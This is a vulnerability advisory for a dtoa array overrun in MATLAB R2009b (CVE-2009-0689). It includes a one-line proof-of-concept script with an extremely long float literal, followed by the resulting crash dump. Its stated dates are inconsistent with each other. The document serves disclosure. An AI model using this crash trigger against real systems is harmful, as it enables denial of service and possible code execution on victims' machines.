[ Matlab R2009b Array Overrun (code execution) ] Author: Maksymilian Arciemowicz and sp3x Date: - - Dis.: 07.05.2009 - - Pub.: 08.01.2009 CVE: CVE-2009-0689 CWE: CWE-119 Risk: High Remote: Yes Affected Software: - - Matlab R2009b NOTE: Prior versions may also be affected. - --- 0.Description --- MATLAB is a numerical computing environment and fourth generation programming language. Developed by The MathWorks, MATLAB allows matrix manipulation, plotting of functions and data, implementation of algorithms, creation of user interfaces, and interfacing with programs in other languages. Although it is numeric only, an optional toolbox uses the MuPAD symbolic engine, allowing access to computer algebra capabilities. An additional package, Simulink, adds graphical multidomain simulation and Model-Based Design for dynamic and embedded systems. In 2004, MathWorks claimed that MATLAB was used by more than one million people across industry and the academic world - --- 1. Matlab 2009b Array Overrun (code execution) --- The main problem exist in dtoa implementation. Matlab has the same dtoa as Mozilla, OpenBSD, MacOS, Google, Opera etc. and it is the same like SREASONRES:20090625. http://securityreason.com/achievement_securityalert/63 but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, http://securityreason.com/achievement_securityalert/69 We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array. - --- 2. Proof of Concept (PoC) --- There are several ways to make a successful attack. Simplest assumed the creation of a script with a defective floating-point variable and execution it. This will allow the possibility of code execution. - -expl.m---------------------- cxib=0.<?php echo str_repeat("1",296450); ?> - -expl.m---------------------- MATLAB crash file:C:\DOCUME~1\WinXPae\USTAWI~1\Temp\matlab_crash_dump.552 - ------------------------------------------------------------------------ Segmentation violation detected at Wed Dec 03 12:04:02 2009 - ------------------------------------------------------------------------ Configuration: MATLAB Version: 7.9.0.529 (R2009b) MATLAB License: [PRIV] Operating System: Microsoft Windows XP Window System: Version 5.1 (Build 2600: Dodatek Service Pack 3) Processor ID: x86 Family 6 Model 7 Stepping 6, GenuineIntel Virtual Machine: Java 1.6.0_12-b04 with Sun Microsystems Inc.
